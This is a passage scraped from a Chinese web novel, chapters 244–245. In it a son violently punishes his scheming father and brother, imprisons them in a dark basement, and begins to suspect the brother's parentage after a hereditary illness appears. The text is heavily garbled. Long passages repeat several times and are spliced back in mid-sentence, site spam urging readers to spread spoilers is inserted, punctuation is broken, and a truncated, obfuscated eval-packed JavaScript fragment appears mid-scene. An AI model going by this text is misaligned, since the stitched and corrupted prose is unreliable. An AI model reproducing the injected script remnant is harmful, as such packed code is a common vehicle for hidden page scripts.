他看着被掐住脖颈的父亲,又看着陆京洲那双布满血丝的眼睛,竟一时不敢轻举妄动。 陆京洲根本不理会陆鹤嵩的挣扎,他凑近他的耳边,声音低哑,却带着毁天灭地的戾气。 “我警告你,陆鹤嵩。从今天起,傅聿琛的命,比我自己的命还重要。你动他一根手指头,我就敢拆了陆家的祠堂,刨了陆家的祖坟!” “你疯了!你这个疯子!”陆鹤嵩的脸涨得通红,呼吸都变得困难,死死地盯着陆京洲,眼神里满是怨毒,“我是你父亲!你敢这么对我?” “父亲?”陆京洲嗤笑一声,眼底的寒意几乎要将人冻死,“你配吗?” 他猛地加重了手上的力道,看着陆鹤嵩的脸一点点涨成青紫,眼神里没有半分怜悯,“你今天敢对傅聿琛下手,就该想到会有这么一天。我告诉你,陆家的权势,陆家的地位,在我眼里狗屁不如!” “我不管你在京城有多大的势力,不管 你有多少人脉。从现在起,傅聿琛要是少了一根头发,我陆京洲,就跟你陆家不死不休!” 他的声音不大,却字字诛心,带着决绝的狠厉,在空旷的仓库里回荡。 陆鹤嵩被掐得几乎窒息,眼前阵阵发黑,他能清晰地感受到陆京洲身上那股同归于尽的疯狂。 那是一种不计后果的狠劲,让他从骨子里感到恐惧。 他这才意识到,眼前的陆京洲,早就不是那个任由他摆布的棋子了。 他为了傅聿琛,真的什么都做得出来。 “你……你放开我……”陆鹤嵩的声音变得微弱,眼神里终于有了一丝惧意。 陆京洲看着他眼底的恐惧,嘴角勾起一抹残忍的笑。 他缓缓松开手,却不是因为心软,而是因为傅家的医生已经匆匆赶来,正在给傅聿琛做紧急处理。 他的目光瞬间就被那边吸引过去,松开陆鹤嵩的瞬间,抬脚狠狠踹在他的小腹上。 陆鹤嵩闷哼一声,蜷缩在地上,疼得冷汗直流。 陆京洲看都没看他一眼,转身就朝着傅聿琛的方向跑去,脚步急促,带着难以掩饰的急切和慌乱。 他蹲在傅聿琛身边,看着医生手忙脚乱地包扎伤口,看着他苍白如纸的脸,心脏像是被一只无形的手攥紧,疼得他几乎喘不过气来。 傅承安走到他身边,拍了拍他的肩膀,沉声道,“放心,阿琛不会有事的。” 陆京洲抬起头,眼底布满血丝,声音嘶哑得不成样子,“傅叔叔,求你,一定要救他。” “我会的。”傅承安的眼神里闪过一丝动容,他看着眼前这个为了自己儿子不顾一切的年轻人,缓缓点头,“我们现在就送他去医院,最好的医生,最好的设备,我都已经安排好了。” 陆京洲点了点头,视线却始终黏在傅聿琛的脸上,一刻也不敢移开。 陆鹤嵩捂着小腹从地上爬起来,看着被担架抬走的傅聿琛,又看着警灯闪烁的方向,脸色阴沉得能滴出水来。 他知道,今天这事,怕是不能善了了。 陆沉奕扶着他,低声道,“父亲,我们现在怎么办……” 陆鹤嵩的眼神阴鸷,死死地盯着陆京洲的背影,咬牙切齿道,“怎么办?哼,就算傅家势大,我陆家也不是任人拿捏的软柿子。警察又怎么样?在京城,还没人敢动我陆鹤嵩!” 他说着,又看向傅承安的方向,眼底闪过一丝狠厉。 这笔账,他记下了。 陆京洲似乎察觉到了他的目光,猛 地回过头,那双赤红的眼睛里满是警告。 陆鹤嵩的心脏猛地一跳,下意识地后退了一步。 他看着傅聿琛被抬走的背影,手指深深掐进掌心,留下几个血印。 他知道,现在跟去医院,除了添乱和守在急? 救室外煎熬,于事无补。 傅家带来的医疗力量不在他之下,他留下,还有更重要的事要做。 他缓缓站起身,沾满血污的黑色衬衫贴在身上,勾勒出紧绷的肌肉线条。 额前的碎发被汗水与尘土黏住,眼底的血色未退,反而沉淀出一种近乎疯狂的冷静。 他一步一步,朝着陆鹤嵩走去。 仓库里气氛凝固。 傅承安带来的人马训练有素地散开,隐隐控制了所有出口和关键位置。 枪口虽未明确指向,但那肃杀之气足以让陆鹤嵩手下的人不敢妄动。 陆沉奕的手指还扣在**上,但陆鹤嵩一个眼神示意,他只能不甘地缓缓垂下枪口。 陆京洲在陆鹤嵩面前站定,两人身高相仿,视线在空中碰撞,一个燃烧着地狱般的火焰,一个强自维持着冰冷的威严。 “陆京洲,你又想干什么?”陆鹤嵩沉声道,试图端起父亲的架子。 陆京洲猛地伸手,动作迅速,一把掐住了陆鹤嵩的衣领! 力道之大,几乎将这位素来注重仪表的陆家家主提得脚跟离地几分。 “你……”陆鹤嵩猝不及防,脸色瞬间涨红,呼吸困难,眼中终于闪过一丝惊怒和不敢置信。 他从未想过,这个从小与他并不亲近,恪守表面规矩的儿子,敢对他动手! 周围的陆家手下和陆沉奕立刻想动,但傅承安带来的武装人员微微调整枪口,冰冷的威慑让他们僵在原地。 陆沉奕咬牙低吼,“陆京洲!放开父亲!” 陆京洲根本不理他,凑近陆鹤嵩,赤红的眼睛死死盯着对方,那目光里的恨意和决绝,让见惯风浪的陆鹤嵩也心头一寒。 “听着,老东西,”陆京洲的声音压得极低,却带着砭骨的寒意,只有他们两人和近处的陆沉奕能听清。 “傅聿琛要是没事,你今天或许还能留着命,在牢里反思你的下半生。他要是有一点不好……” 他手上力道又重了三分,陆鹤嵩的喉咙里发出嗬嗬的声响。 “我陆京洲,今天就亲手清理门户。”他一字一顿,每个字都像淬了冰的钉子。 “你,还有你那个只会听令行事的‘好儿子’,一个也别想跑。陆家的基业?从今往后,跟你再没有半分关系。我会亲手把它拆了,毁了,烧了,给你陪葬。” 他说完,猛地将陆鹤嵩往后一掼! 陆鹤嵩踉跄着**好几步,被陆沉奕扶住才没摔倒,昂贵的西装领口被扯得变形,脖子上留下清晰的红痕。 他急促地喘息着,看向陆京洲的眼神充满了惊怒交加,还有一丝不易察觉的恐惧。 他意识到,陆京洲不是说说而已,这个儿子骨子里的疯劲,此刻完全被点燃了。 “把人带着,跟我来!” 他说了不会给他们留面子,就绝对不会给他们留一点面子。 地回过头,那双赤红的眼睛里满是警告。 陆鹤嵩的心脏猛地一跳,下意识地后退了一步。 他看着傅聿琛被抬走的背影,手指深深掐进掌心,留下几个血印。 他知道,现在跟去医院,除了添乱和守在急? 救室外煎熬,于事无补。 傅家带来的医疗力量不在他之下,他留下,还有更重要的事要做。 他缓缓站起身,沾满血污的黑色衬衫贴在身上,勾勒出紧绷的肌肉线条。 额前的碎发被汗水与尘土黏住,眼底的血色未退,反而沉淀出一种近乎疯狂的冷静。 他一步一步,朝着陆鹤嵩走去。 仓库里气氛凝固。 傅承安带来的人马训练有素地散开,隐隐控制了所有出口和关键位置。 枪口虽未明确指向,但那肃杀之气足以让陆鹤嵩手下的人不敢妄动。 陆沉奕的手指还扣在**上,但陆鹤嵩一个眼神示意,他只能不甘地缓缓垂下枪口。 陆京洲在陆鹤嵩面前站定,两人身高相仿,视线在空中碰撞,一个燃烧着地狱般的火焰,一个强自维持着冰冷的威严。 “陆京洲,你又想干什么?”陆鹤嵩沉声道,试图端起父亲的架子。 陆京洲猛地伸手,动作迅速,一把掐住了陆鹤嵩的衣领! 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陆京洲在陆鹤嵩面前站定,两人身高相仿,视线在空中碰撞,一个燃烧着地狱般的火焰,一个强自维持着冰冷的威严。 “陆京洲,你又想干什么?”陆鹤嵩沉声道,试图端起父亲的架子。 陆京洲猛地伸手,动作迅速,一把掐住了陆鹤嵩的衣领! 力道之大,几乎将这位素来注重仪表的陆家家主提得脚跟离地几分。 “你……”陆鹤嵩猝不及防,脸色瞬间涨红,呼吸困难,眼中终于闪过一丝惊怒和不敢置信。 他从未想过,这个从小与他并不亲近,恪守表面规矩的儿子,敢对他动手! 周围的陆家手下和陆沉奕立刻想动,但傅承安带来的武装人员微微调整枪口,冰冷的威慑让他们僵在原地。 陆沉奕咬牙低吼,“陆京洲!放开父亲!” 陆京洲根本不理他,凑近陆鹤嵩,赤红的眼睛死死盯着对方,那目光里的恨意和决绝,让见惯风浪的陆鹤嵩也心头一寒。 “听着,老东西,”陆京洲的声音压得极低,却带着砭骨的寒意,只有他们两人和近处的陆沉奕能听清。 “傅聿琛要是没事,你今天或许还能留着命,在牢里反思你的下半生。他要是有一点不好……” 他手上力道又重了三分,陆鹤嵩的喉咙里发出嗬嗬的声响。 “我陆京洲,今天就亲手清理门户。”他一字一顿,每个字都像淬了冰的钉子。 “你,还有你那个只会听令行事的‘好儿子’,一个也别想跑。陆家的基业?从今往后,跟你再没有半分关系。我会亲手把它拆了,毁了,烧了,给你陪葬。” 他说完,猛地将陆鹤嵩往后一掼! 陆鹤嵩踉跄着**好几步,被陆沉奕扶住才没摔倒,昂贵的西装领口被扯得变形,脖子上留下清晰的红痕。 他急促地喘息着,看向陆京洲的眼神充满了惊怒交加,还有一丝不易察觉的恐惧。 他意识到,陆京洲不是说说而已,这个儿子骨子里的疯劲,此刻完全被点燃了。 “把人带着,跟我来!” 他说了不会给他们留面子,就绝对不会给他们留一点面子。 地回过头,那双赤红的眼睛里满是警告。 陆鹤嵩的心脏猛地一跳,下意识地后退了一步。 他看着傅聿琛被抬走的背影,手指深深掐进掌心,留下几个血印。 他知道,现在跟去医院,除了添乱和守在急? 救室外煎熬,于事无补。 傅家带来的医疗力量不在他之下,他留下,还有更重要的事要做。 他缓缓站起身,沾满血污的黑色衬衫贴在身上,勾勒出紧绷的肌肉线条。 额前的碎发被汗水与尘土黏住,眼底的血色未退,反而沉淀出一种近乎疯狂的冷静。 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陆沉奕咬牙低吼,“陆京洲!放开父亲!” 陆京洲根本不理他,凑近陆鹤嵩,赤红的眼睛死死盯着对方,那目光里的恨意和决绝,让见惯风浪的陆鹤嵩也心头一寒。 “听着,老东西,”陆京洲的声音压得极低,却带着砭骨的寒意,只有他们两人和近处的陆沉奕能听清。 “傅聿琛要是没事,你今天或许还能留着命,在牢里反思你的下半生。他要是有一点不好……” 他手上力道又重了三分,陆鹤嵩的喉咙里发出嗬嗬的声响。 “我陆京洲,今天就亲手清理门户。”他一字一顿,每个字都像淬了冰的钉子。 “你,还有你那个只会听令行事的‘好儿子’,一个也别想跑。陆家的基业?从今往后,跟你再没有半分关系。我会亲手把它拆了,毁了,烧了,给你陪葬。” 他说完,猛地将陆鹤嵩往后一掼! 陆鹤嵩踉跄着**好几步,被陆沉奕扶住才没摔倒,昂贵的西装领口被扯得变形,脖子上留下清晰的红痕。 他急促地喘息着,看向陆京洲的眼神充满了惊怒交加,还有一丝不易察觉的恐惧。 他意识到,陆京洲不是说说而已,这个儿子骨子里的疯劲,此刻完全被点燃了。 “把人带着,跟我来!” 他说了不会给他们留面子,就绝对不会给他们留一点面子。 地回过头,那双赤红的眼睛里满是警告。 陆鹤嵩的心脏猛地一跳,下意识地后退了一步。 他看着傅聿琛被抬走的背影,手指深深掐进掌心,留下几个血印。 他知道,现在跟去医院,除了添乱和守在急? 救室外煎熬,于事无补。 傅家带来的医疗力量不在他之下,他留下,还有更重要的事要做。 他缓缓站起身,沾满血污的黑色衬衫贴在身上,勾勒出紧绷的肌肉线条。 额前的碎发被汗水与尘土黏住,眼底的血色未退,反而沉淀出一种近乎疯狂的冷静。 他一步一步,朝着陆鹤嵩走去。 仓库里气氛凝固。 傅承安带来的人马训练有素地散开,隐隐控制了所有出口和关键位置。 枪口虽未明确指向,但那肃杀之气足以让陆鹤嵩手下的人不敢妄动。 陆沉奕的手指还扣在**上,但陆鹤嵩一个眼神示意,他只能不甘地缓缓垂下枪口。 陆京洲在陆鹤嵩面前站定,两人身高相仿,视线在空中碰撞,一个燃烧着地狱般的火焰,一个强自维持着冰冷的威严。 “陆京洲,你又想干什么?”陆鹤嵩沉声道,试图端起父亲的架子。 陆京洲猛地伸手,动作迅速,一把掐住了陆鹤嵩的衣领! 力道之大,几乎将这位素来注重仪表的陆家家主提得脚跟离地几分。 “你……”陆鹤嵩猝不及防,脸色瞬间涨红,呼吸困难,眼中终于闪过一丝惊怒和不敢置信。 他从未想过,这个从小与他并不亲近,恪守表面规矩的儿子,敢对他动手! 周围的陆家手下和陆沉奕立刻想动,但傅承安带来的武装人员微微调整枪口,冰冷的威慑让他们僵在原地。 陆沉奕咬牙低吼,“陆京洲!放开父亲!” 陆京洲根本不理他,凑近陆鹤嵩,赤红的眼睛死死盯着对方,那目光里的恨意和决绝,让见惯风浪的陆鹤嵩也心头一寒。 “听着,老东西,”陆京洲的声音压得极低,却带着砭骨的寒意,只有他们两人和近处的陆沉奕能听清。 “傅聿琛要是没事,你今天或许还能留着命,在牢里反思你的下半生。他要是有一点不好……” 他手上力道又重了三分,陆鹤嵩的喉咙里发出嗬嗬的声响。 “我陆京洲,今天就亲手清理门户。”他一字一顿,每个字都像淬了冰的钉子。 “你,还有你那个只会听令行事的‘好儿子’,一个也别想跑。陆家的基业?从今往后,跟你再没有半分关系。我会亲手把它拆了,毁了,烧了,给你陪葬。” 他说完,猛地将陆鹤嵩往后一掼! 陆鹤嵩踉跄着**好几步,被陆沉奕扶住才没摔倒,昂贵的西装领口被扯得变形,脖子上留下清晰的红痕。 他急促地喘息着,看向陆京洲的眼神充满了惊怒交加,还有一丝不易察觉的恐惧。 他意识到,陆京洲不是说说而已,这个儿子骨子里的疯劲,此刻完全被点燃了。 “把人带着,跟我来!” 他说了不会给他们留面子,就绝对不会给他们留一点面子。 地回过头,那双赤红的眼睛里满是警告。 陆鹤嵩的心脏猛地一跳,下意识地后退了一步。 他看着傅聿琛被抬走的背影,手指深深掐进掌心,留下几个血印。 他知道,现在跟去医院,除了添乱和守在急? 救室外煎熬,于事无补。 傅家带来的医疗力量不在他之下,他留下,还有更重要的事要做。 他缓缓站起身,沾满血污的黑色衬衫贴在身上,勾勒出紧绷的肌肉线条。 额前的碎发被汗水与尘土黏住,眼底的血色未退,反而沉淀出一种近乎疯狂的冷静。 他一步一步,朝着陆鹤嵩走去。 仓库里气氛凝固。 傅承安带来的人马训练有素地散开,隐隐控制了所有出口和关键位置。 枪口虽未明确指向,但那肃杀之气足以让陆鹤嵩手下的人不敢妄动。 陆沉奕的手指还扣在**上,但陆鹤嵩一个眼神示意,他只能不甘地缓缓垂下枪口。 陆京洲在陆鹤嵩面前站定,两人身高相仿,视线在空中碰撞,一个燃烧着地狱般的火焰,一个强自维持着冰冷的威严。 “陆京洲,你又想干什么?”陆鹤嵩沉声道,试图端起父亲的架子。 陆京洲猛地伸手,动作迅速,一把掐住了陆鹤嵩的衣领! 力道之大,几乎将这位素来注重仪表的陆家家主提得脚跟离地几分。 “你……”陆鹤嵩猝不及防,脸色瞬间涨红,呼吸困难,眼中终于闪过一丝惊怒和不敢置信。 他从未想过,这个从小与他并不亲近,恪守表面规矩的儿子,敢对他动手! 周围的陆家手下和陆沉奕立刻想动,但傅承安带来的武装人员微微调整枪口,冰冷的威慑让他们僵在原地。 陆沉奕咬牙低吼,“陆京洲!放开父亲!” 陆京洲根本不理他,凑近陆鹤嵩,赤红的眼睛死死盯着对方,那目光里的恨意和决绝,让见惯风浪的陆鹤嵩也心头一寒。 “听着,老东西,”陆京洲的声音压得极低,却带着砭骨的寒意,只有他们两人和近处的陆沉奕能听清。 “傅聿琛要是没事,你今天或许还能留着命,在牢里反思你的下半生。他要是有一点不好……” 他手上力道又重了三分,陆鹤嵩的喉咙里发出嗬嗬的声响。 “我陆京洲,今天就亲手清理门户。”他一字一顿,每个字都像淬了冰的钉子。 “你,还有你那个只会听令行事的‘好儿子’,一个也别想跑。陆家的基业?从今往后,跟你再没有半分关系。我会亲手把它拆了,毁了,烧了,给你陪葬。” 他说完,猛地将陆鹤嵩往后一掼! 陆鹤嵩踉跄着**好几步,被陆沉奕扶住才没摔倒,昂贵的西装领口被扯得变形,脖子上留下清晰的红痕。 他急促地喘息着,看向陆京洲的眼神充满了惊怒交加,还有一丝不易察觉的恐惧。 他意识到,陆京洲不是说说而已,这个儿子骨子里的疯劲,此刻完全被点燃了。 “把人带着,跟我来!” 他说了不会给他们留面子,就绝对不会给他们留一点面子。 第244章 怀疑陆沉奕的身份 陆京洲的声音冷得像冰,在空旷的仓库里炸开,每一个字都带着不容置疑的狠戾。 他抬手,指节泛白地指向陆鹤嵩和陆沉奕,身后傅家的人立刻上前,动作利落却带着绝对的压迫感,将两人死死围住。 “放心,陆京洲扯了扯嘴角,笑意残忍,“我不会让你们死得这么痛快。 他转身,率先朝着仓库外走去。 黑色衬衫上的血渍还未干涸,脚步沉稳却带着一股毁天灭地的戾气。 陆鹤嵩被两名傅家保镖架着,挣扎着嘶吼,“陆京洲!你这个逆子!放开我!我是你父亲! 陆沉奕紧随其后,被另两名保镖控制着,他死死盯着陆京洲的背影,眼底满是怨毒和不甘,却不敢有丝毫反抗。 傅家的枪口始终对着他,稍有异动,便是当场毙命的下场。 车子一路疾驰,没有开往警局,也没有开往陆家老宅,而是驶向城郊一处废弃的私人仓库改造的地下室。 这里是陆京洲早年为了应对突发状况准备的地方,阴暗、潮湿,没有窗户。 只有一盏昏黄的灯泡悬在头顶,光线微弱得只能照亮巴掌大的地方,其余角落都被浓稠的黑暗吞噬。 “砰! 陆鹤嵩和陆沉奕被狠狠推搡着摔在冰冷的水泥地上,坚硬的地面硌得他们骨头生疼。 陆京洲站在门口,背对着他们,抬手按下开关。 “咔哒一声,厚重的铁门缓缓合上,将最后一丝光线隔绝在外。 只留下那盏昏黄的灯泡,在风里微微晃动,投下扭曲的影子。 “陆京洲!你到底想干什么! 试图找回往日的威严,却因为刚才的挣扎和恐惧,声音都在发颤。 “这里是京城,是陆家的地盘!你敢这么对我,就不怕陆家的元老们扒了你的皮! 陆京洲缓缓转过身,靠在铁门上,双手插在裤兜里,目光冷漠地扫过两人,像是在看两只蝼蚁,“干什么?算账。 他一步步走近,皮鞋踩在水泥地上,发出“嗒、嗒的声响,每一声都像是敲在陆鹤嵩和陆沉奕的心上。 “你动傅聿琛的时候,没想过会有今天?你算计我,利用我,没想过我会反咬一口? “我那是为了陆家!陆鹤嵩拔高声音,试图掩盖内心的慌乱,“傅聿琛是傅家的人,留着他就是后患!我是为了陆家的基业,为了你!你这个不知好歹的东西! “为了我? 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 陆京洲像是听到了天大的笑话,突然低笑起来,笑声里满是悲凉和嘲讽。 “为了我,?陆鹤嵩,你真让我恶心。 他猛地抬脚,狠狠踹在陆鹤嵩的膝盖上! “咔嚓一声轻响,伴随着陆鹤嵩撕心裂肺的惨叫。 他的膝盖以诡异的角度弯曲,整个人再次摔在地上,抱着膝盖蜷缩成一团,冷汗瞬间浸湿了额发,疼得浑身抽搐。 “父亲!陆沉奕目眦欲裂,想要冲过去,却被身后的保镖死死按住,只能眼睁睁看着陆鹤嵩痛苦挣扎。 “陆京洲!你疯了!他是你亲生父亲!你敢对他下这么重的手! “亲生父亲?陆京洲蹲下身,捏住陆鹤嵩的下巴,强迫他抬头看着自己,眼底的猩红几乎要溢出来,“他配吗?一个为了权力,连儿子都能牺牲的畜生,也配叫父亲? 他松开手,站起身,看向陆沉奕,眼神同样冰冷,“还有你,陆沉奕。你以为你是什么好东西?跟着他一起算计我,想开枪打死我,这笔账,我也得跟你好好算。 陆沉奕脸色惨白,却依旧硬撑着,“我是为了陆家!为了父亲!我没错! “没错?陆京洲冷笑,“那就在这里,好好想想你到底错没错。 他抬手,示意保镖松开两人,却转身按下了墙上的开关。 那盏唯一的昏黄灯泡,瞬间熄灭。 整个地下室,彻底陷入了无边无际的黑暗。 没有光,没有声音,只有冰冷的空气,和地面传来的刺骨寒意。 陆鹤嵩的惨叫声渐渐微弱,只剩下压抑的呻吟,陆沉奕的呼吸也变得急促起来,他摸索着爬到陆鹤嵩身边,声音颤抖,“父亲,你怎么样? “疼……好疼…… 黑暗中,两人相依为命,却又彼此怨怼。 陆鹤嵩骂陆沉奕没用,没能拦住陆京洲。 陆沉奕怨陆鹤嵩轻敌,低估了陆京洲的疯劲。 争吵声、呻吟声、压抑的咒骂声,在暗无天日的地下室里回荡,却始终得不到任何回应。 时间一点点流逝,不知道过了多久。 一天?两天?还是更久? 没有阳光,没有食物,只有偶尔从门缝里渗进来的一丝微弱气流,和冰冷的地面。 陆鹤嵩的膝盖疼得他几乎晕厥,只能靠在陆沉奕身上,苟延残喘。 陆沉奕则因为长时间的黑暗和饥饿,精神逐 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 渐崩溃,开始出现幻觉。 耳边总是响起陆京洲冰冷的声音,眼前总是闪过傅聿琛中枪倒地的画面,还有自己扣动**的瞬间。 “我没错……我没错……”他喃喃自语,双手抱着头,身体不停颤抖,“是陆京洲逼我的……” 陆鹤嵩被他吵得心烦,厉声呵斥,“闭嘴!吵**!” 可话音刚落,陆沉奕突然发出一声凄厉的惨叫,身体猛地蜷缩起来,双手死死抓住自己的胸口。 脸色瞬间变得青紫,嘴唇发紫,呼吸急促得像是要窒息一般,浑身剧烈抽搐,口吐白沫。 “沉奕!沉奕你怎么了?”陆鹤嵩慌了神,伸手去扶他,却被陆沉奕剧烈的抽搐推开,“你别吓我!沉奕!” 他拼命拍打着铁门,嘶吼着:“陆京洲!陆京洲你出来!沉奕出事了!快开门!” 声音嘶哑,带着绝望和恐惧,在地下室里回荡,却依旧没有任何回应。陆沉奕的抽搐越来越剧烈,呼吸越来越微弱,眼看就要没了气息。 就在这时,“咔哒”一声,铁门被缓缓推开,刺眼的光线瞬间涌入,让陆鹤嵩和陆沉奕下意识地眯起眼睛。 陆京洲站在门口,身后跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“病人是急性遗传性神经官能症发作,伴有严重的低钾血症和心律失常,情况暂时稳定下来了,但这种遗传病很罕见,目前只能控制,无法根治,需要长期用药和观察。” “遗传性神经官能症?”陆京洲猛地抬头,眼神锐利地盯着医生,“你确定?” “确定,”医生点头,“从症状和基因检测的初步结果来看,是常染色体隐性遗传,这种病在家族中通常是隔代遗传,或者父母双方都携带致病基因才会发病。” 陆京洲的心脏猛地一沉。 他的母亲,是江南苏家的千金,苏家世代书香,家族里从未有过这种遗传病的记载。 陆鹤嵩这边,陆家是京城百年世家,族谱上也从未有过类似的病症记录。 陆沉奕是陆鹤嵩的儿子,按理说,遗传病要么来自陆鹤嵩,要么来自他的母亲,可两边都没有病史,这根本说不通。 一个荒谬却又无比清晰的念头,在他脑海中炸开。 陆沉奕,根本不是陆鹤嵩的亲生儿子? 这个念头一旦出现,就再也无法抑制。 陆京洲的眼神瞬间变得冰冷,他转身,快步走向医生办公室,声音低沉却带着不容置疑的命令。 “立刻给陆沉奕和陆鹤嵩做亲子鉴定,用最权威的机构,最快的速度,结果出来第一时间告诉我。” 医生愣了一下,看着陆京洲眼底的狠厉,不敢违抗,立刻点头,“好,我马上安排。” 抽血、取样、送检,一切都在陆京洲的监控下进行。 他坐在医生办公室里,手指无意识地敲击着桌面,脑海中闪过。 第245章 是仇人 陆京洲坐在冰冷的金属椅上,指尖的敲击声在静谧的办公室里显得格外清晰,也格外空洞。 医生早已退出去安排加急鉴定,空气里只剩下消毒水的气味,和他脑海中不断翻涌着冰冷刺骨的回忆。 他想到了陆鹤嵩对陆沉奕的态度。 那是一个父亲对儿子该有的态度吗? 或许不全然是慈爱,甚至带着利用和严厉。 但至少,陆鹤嵩看陆沉奕时,眼底深处是有那么一丝“这是属于我的骨血”的掌控与在意。 他会斥责陆沉奕不成器,会为他铺路,尽管这路是踩着别人尸骨。 会在陆沉奕可能“出事”时,放下所有的尊严和傲慢,跪地哀求。 那对他陆京洲呢? 同样是陆鹤嵩的儿子,流着同样的血,甚至是同父同母、更为名正言顺的嫡长子。 可陆鹤嵩对他,有过一丝一毫父亲的样子吗? 送他进精神病院。 因为他不肯全然顺从陆鹤嵩扭曲的掌控,就将他关进了那个能把正常人逼疯的地方。 冰冷的束缚带,刺鼻的药水味,周围人麻木或癫狂的眼神,还有治疗仪器的嗡鸣……那不是家,是地狱。 陆鹤嵩亲自将他推了进去,连眉头都没皱一下。 送他出国,断掉所有资金来源。 美其名曰“深造”、“历练”,实则是流放与**。 一个被家族宣告“精神异常”、断了经济来源的少年,在异国他乡如何生存? 语言不通,举目无亲,银行账户被冻结,连最便宜的旅社都住不起。 他睡过地铁站,捡过过期食物,在最肮脏的后厨刷过堆积如山的盘子,只为赚取微薄的、不被陆家监控的现金。 寒冬里,一件单薄的外套裹了又裹,依然抵不住刺骨的冷。 那几年,他不是陆家少爷,是一只被遗弃在荒野、随时可能死去的孤狼。 而陆鹤嵩,他的亲生父亲,断掉他所有后路时,可曾有过半分犹豫? 或许还在期待着他无声无息地死在某条阴暗的巷子里,彻底抹去这个“污点”和“威胁”。 在陆鹤嵩眼里,他陆京洲从来不是儿子,而是…… 需要被驯服的工具! 需要被清除的障碍! 必要时可以牺牲的弃子! 是……仇人。 这个词划过心头,带着血淋淋的精准。 原来他们之间,早已是仇人。父子血缘,成了最讽刺的诅咒。 心酸吗? 或许有那么一丝,像最细的针,在早已麻木的心脏最深处,极轻地刺了一下。 但那感觉太微弱,迅速被更汹涌、更冰冷的自嘲淹没。 他扯了扯嘴角,弧度冰冷而讥诮。 真是荒唐。 他也曾有过那么一丁点可笑的期待,期待过所谓的父爱。 现在想来,那点期待,比黑暗更虚无,比冰更冷。 他陆京洲,不需要了。 他早就从地狱里爬出来了,带着满身伤痕和淬炼过的狠戾。 父亲?陆鹤嵩不配。 兄弟?陆沉奕更不配,哪怕是同父同母的亲兄弟,他也不配。 他现在,只信自己,信傅聿琛那点过命的交情,信自己手中能握住的力量。 “叮——” 内部通讯器的铃声打破了沉寂。医生恭敬的声音传来,“陆先生,加急渠道已经启动,样本送检,最晚二十四小时内会有初步结果。” “知道了。”陆京洲的声音听不出任何情绪,他站起身,整理了一下黑色衬衫的袖口。 上面似乎还残留着陆沉奕的血迹,早已干涸成暗色的印记,却比任何火焰都要滚烫,灼烧着他的理智。 他走出办公室,走廊惨白的灯光打在他轮廓分明的脸上,映出一片冰封的决绝。 抢救室的灯还亮着,陆沉奕在里面生死未卜。 陆鹤嵩还被关在那个黑暗冰冷的地下室,与疼痛和恐惧为伴。 但这一切,都无法再在他心中掀起真正的波澜。 真相即将浮出水面。 无论是陆沉奕的身世之谜,还是陆鹤嵩这些年的累累罪行。 他都要一件件、一桩桩,清算干净。 不是为了讨回什么公道或父爱,那太可笑。 只是为了——彻底了断。 他迈开脚步,朝着重症监护室的方向走去。 那里有他此刻唯一愿意付出些许温度去确认安危的人。 至于身后的污泥与黑暗,等鉴定结果出来,他会亲自,一点一点,将它们彻底碾碎。 灯光将他挺直却孤绝的背影拉得很长。 现在他的脑子很乱,一切都解释不通。 他也不想再继续往下想。 为什么,父母双方都没有遗传病史的情况下,陆沉奕会有遗传病! 如果他不是陆鹤嵩的儿子,那为什么陆鹤嵩会那么在意他? 重症监护室的玻璃墙冰冷透亮,将里面的仪器嗡鸣 与外面的死寂隔绝成两个世界。 陆京洲站在墙外,目光落在病床上那个浑身插满管子的人身上。 傅聿琛的脸苍白得近乎透明,往日里总是带着几分正经的眉眼紧紧蹙着,像是陷在一场醒不来的噩梦里。 陆京洲的指尖无意识地抵在玻璃上,那点冰凉透过皮肤渗进去,却压不住心底翻涌的躁意。 “哥!”他的声音很轻,轻得几乎要融进走廊的风里,“别装**好不好,以后我不逗你了,我只认你这个大哥,赶紧醒过来。” “你是我这辈子除了笙笙和宝宝之外的亲人。” 他真的希望他醒过来…… 醒过来,陪他一起掀翻陆家那摊烂泥。 醒过来,再跟他喝一顿酒,骂几句陆鹤嵩的狼心狗肺。 醒过来,告诉他这些年藏着的那些秘密,到底还有多少是**的。 他盯着傅聿琛胸口微弱起伏的监护仪曲线,眸色沉沉。 过命的交情这四个字,不是嘴上说说的。 有一次他记得特别清楚…… 在异国的街头,傅聿琛找到他时,他正被几个混混堵在巷子里揍得站不起来,是傅聿琛拎着一根钢管冲进来。 跟他背靠背杀出一条血路,也是傅聿琛,在他高烧昏迷时,守了他三天三夜,把身上唯一的钱换了退烧药。 这份情,他陆京洲记了一辈子。 “你要是敢醒不过来,”陆京洲的喉结滚了滚,声音里带着一丝自己都没察觉的紧绷,“你的家业,我全捐了喂狗,不帮你找你的妹妹。” 傅家的亲生女儿。 监护仪的曲线依旧平稳,没有半分波澜,像是在无声地嘲笑着他的威胁。 陆京洲站在那里,很久很久。 久到走廊里的声控灯灭了又亮,亮了又灭,久到双腿传来密密麻麻的麻意,像是有无数根针在扎着骨头。 他才缓缓收回目光,转身,脚步沉重地朝着电梯口走去。 他现在需要一个地方,一个能让他那颗被恨意和疑窦填满的心,稍微安定下来的地方。 电梯门缓缓打开,里面空无一人。 陆京洲走进去,按下住院部楼层的按键。 金属壁面映出他的影子,孤绝,冷硬,眼底是化不开的戾气,可那戾气深处,却藏着一丝连他自己都没察觉的疲惫。 岑予衿的病房在住院部的顶层,VIP病房,安静得能听见窗外风吹过树叶的声音。 陆京洲推开门时,没有发出一点声 音。 病房里的光线很柔和,暖黄色的台灯洒在床沿。 岑予衿靠在床头,怀里抱着一个睡得正香的小家伙。 另一个小家伙躺在旁边的婴儿床里,小小的拳头攥着,嘴角还挂着一点口水渍。 岑予衿的侧脸安静而温柔,她垂着眼,目光落在怀里孩子的脸上,长长的睫毛微微颤动着,像是停歇在花瓣上的蝶。 听到门响,她抬起头,看到是他,眼底瞬间漾起一抹柔软的笑意,那笑意像是一道暖流,瞬间冲散了陆京洲满身的寒气。 “回来了?”她的声音很轻,怕吵醒怀里的孩子,“鉴定的事,安排好了?” 陆京洲点点头,反手关上门,脚步放得极轻地走过去。 他没有说话,只是蹲在床边,目光落在婴儿床里那个小家伙的脸上,又移到岑予衿怀里那个的脸上。 两个孩子,眉眼间都像极了她,软糯,干净,像是上帝亲手捏出来的珍宝。 他伸出手,指尖小心翼翼地碰了碰婴儿床里孩子的小脸蛋。 